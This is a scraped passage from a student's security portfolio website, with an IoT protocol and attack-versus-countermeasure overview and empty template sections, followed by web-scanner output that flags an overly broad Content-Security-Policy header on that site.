devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence default-src 'self' http: https: data: blob: 'unsafe-inline'Solution Ensure that your web server, application server, load balancer, etc. is properly configured to set the Content-Security-Policy header.
GET https://beekmans.dev/img/portfolio/Command%20injection.png
Alert tags Alert description The following directives either allow wildcard sources (or ancestors), are not defined, or are overly broadly defined:
script-src, style-src, img-src, connects-src, frame-src, frame-ancestors, font-src, media-src, object-src, manifest-src, worker-src, prefetch-src, form-action
The directive(s): frame-ancestors, form-action are among the directives that do not fallback to default-src, missing/excluding them is the same as allowing anything.
Request Request line and header section (261 bytes)
GET https://beekmans.dev/img/portfolio/Command%20injection.png HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (1068 bytes)
HTTP/1.1 404 Not Found Date: Mon, 06 Dec 2021 09:55:14 GMT Content-Type: text/html; charset=iso-8859-1 Connection: keep-alive content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=i%2BFYG5W12JM5YDLzQ2SfX5VpQvsUdwoWEMSIdzTTzBAL2HNesY92WSs%2F2pad8b2CzNPe%2FPH%2B45xEIO1solf1k7jyiVPQJn6%2FBd7yP%2BvIp%2BMhr9jeBz2NOeeLsdZxYhQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a3317a0b4c43-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (275 bytes)
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.29 (Ubuntu) Server at beekmans.dev Port 443</address> </body></html>Evidence default-src 'self' http: https: data: blob: 'unsafe-inline'Solution Ensure that your web server, application server, load balancer, etc. is properly configured to set the Content-Security-Policy header.
GET https://beekmans.dev/img/portfolio/Risk%20analysis.xlsx
Alert tags Alert description The following directives either allow wildcard sources (or ancestors), are not defined, or are overly broadly defined:
script-src, style-src, img-src, connects-src, frame-src, frame-ancestors, font-src, media-src, object-src, manifest-src, worker-src, prefetch-src, form-action
The directive(s): frame-ancestors, form-action are among the directives that do not fallback to default-src, missing/excluding them is the same as allowing anything.
Request Request line and header section (258 bytes)
GET https://beekmans.dev/img/portfolio/Risk%20analysis.xlsx HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (1055 bytes)
HTTP/1.1 404 Not Found Date: Mon, 06 Dec 2021 09:55:14 GMT Content-Type: text/html; charset=iso-8859-1 Connection: keep-alive content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload Cache-Control: max-age=14400 CF-Cache-Status: MISS Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VnmTC5S9vI1Ap4yQuSbEzhm60TfEapnyy%2F8WTXTOosGTh3p4kWgCcTLHqi1xup%2B5F1X6mQMKd9NxiqDn8tjHsNfhqs7ZRmkWYRt89HevOrUbayesOSv7qt9qiYqwW1c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a32e6c874c43-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (275 bytes)
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.29 (Ubuntu) Server at beekmans.dev Port 443</address> </body></html>Evidence default-src 'self' http: https: data: blob: 'unsafe-inline'Solution Ensure that your web server, application server, load balancer, etc. is properly configured to set the Content-Security-Policy header.
GET https://beekmans.dev/img/portfolio/Use%20Of%23.png
Alert tags Alert description The following directives either allow wildcard sources (or ancestors), are not defined, or are overly broadly defined:
script-src, style-src, img-src, connects-src, frame-src, frame-ancestors, font-src, media-src, object-src, manifest-src, worker-src, prefetch-src, form-action
The directive(s): frame-ancestors, form-action are among the directives that do not fallback to default-src, missing/excluding them is the same as allowing anything.
Request Request line and header section (253 bytes)
GET https://beekmans.dev/img/portfolio/Use%20Of%23.png HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (1070 bytes)
HTTP/1.1 404 Not Found Date: Mon, 06 Dec 2021 09:55:14 GMT Content-Type: text/html; charset=iso-8859-1 Connection: keep-alive content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Gcaa9v%2BzLnhe%2BqZOh%2FFYjU42IJf%2FXfKOpExCiNSnf6Woglg33tgZoAE%2FzD1BHrCzee85zKajW86DWy%2BNhJslmJAfIoBVzaXiJgDAR%2BGCX6%2BAs8KJyDEZi4XaSpmLno4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a330ba840c09-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (275 bytes)
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.29 (Ubuntu) Server at beekmans.dev Port 443</address> </body></html>Evidence default-src 'self' http: https: data: blob: 'unsafe-inline'Solution Ensure that your web server, application server, load balancer, etc. is properly configured to set the Content-Security-Policy header.
GET https://beekmans.dev/PICTURE
Alert tags Alert description The following directives either allow wildcard sources (or ancestors), are not defined, or are overly broadly defined:
script-src, style-src, img-src, connects-src, frame-src, frame-ancestors, font-src, media-src, object-src, manifest-src, worker-src, prefetch-src, form-action
The directive(s): frame-ancestors, form-action are among the directives that do not fallback to default-src, missing/excluding them is the same as allowing anything.
Request Request line and header section (232 bytes)
GET https://beekmans.dev/PICTURE HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.dev/Request body (0 bytes)
Response Status line and header section (1030 bytes)
HTTP/1.1 404 Not Found Date: Mon, 06 Dec 2021 09:55:16 GMT Content-Type: text/html; charset=iso-8859-1 Connection: keep-alive content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ZB5VXGEczCgtihRRtv5%2BY5CLDJtrUafaXM4chTF9IsMlAnJjdq%2FTNXVU5zGLjSXD7%2BUP2yXnXdqmpb6qZa7pTOjotCp3Eo9cEYzXhMWNDmUsdhi9JLioxOhPGoDpKuc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a33afbea4c43-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (275 bytes)
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.29 (Ubuntu) Server at beekmans.dev Port 443</address> </body></html>Evidence default-src 'self' http: https: data: blob: 'unsafe-inline'Solution Ensure that your web server, application server, load balancer, etc. is properly configured to set the Content-Security-Policy header.
GET https://beekmans.dev/robots.txt
Alert tags Alert description The following directives either allow wildcard sources (or ancestors), are not defined, or are overly broadly defined:
script-src, style-src, img-src, connects-src, frame-src, frame-ancestors, font-src, media-src, object-src, manifest-src, worker-src, prefetch-src, form-action
The directive(s): frame-ancestors, form-action are among the directives that do not fallback to default-src, missing/excluding them is the same as allowing anything.
Request Request line and header section (203 bytes)
GET https://beekmans.dev/robots.txt HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cacheRequest body (0 bytes)
Response Status line and header section (1056 bytes)
HTTP/1.1 404 Not Found Date: Mon, 06 Dec 2021 09:55:12 GMT Content-Type: text/html; charset=iso-8859-1 Connection: keep-alive content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Wn2lexkhyyUNMM7lYDUd9LP2tnrj3tMIrJSVfiu57RcdFZ6t%2FNNbXhaoKlGwl4GLSjws6PCflQkaxyotsdcW1zU52wy0XFNadtE52aj5Q7P8e9F9XZNyEHiRuHUYsc4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a32429aa4c43-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (275 bytes)
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.29 (Ubuntu) Server at beekmans.dev Port 443</address> </body></html>Evidence default-src 'self' http: https: data: blob: 'unsafe-inline'Solution Ensure that your web server, application server, load balancer, etc. is properly configured to set the Content-Security-Policy header.
GET https://beekmans.dev/sitemap.xml
Alert tags Alert description The following directives either allow wildcard sources (or ancestors), are not defined, or are overly broadly defined:
script-src, style-src, img-src, connects-src, frame-src, frame-ancestors, font-src, media-src, object-src, manifest-src, worker-src, prefetch-src, form-action
The directive(s): frame-ancestors, form-action are among the directives that do not fallback to default-src, missing/excluding them is the same as allowing anything.
Request Request line and header section (204 bytes)
GET https://beekmans.dev/sitemap.xml HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cacheRequest body (0 bytes)
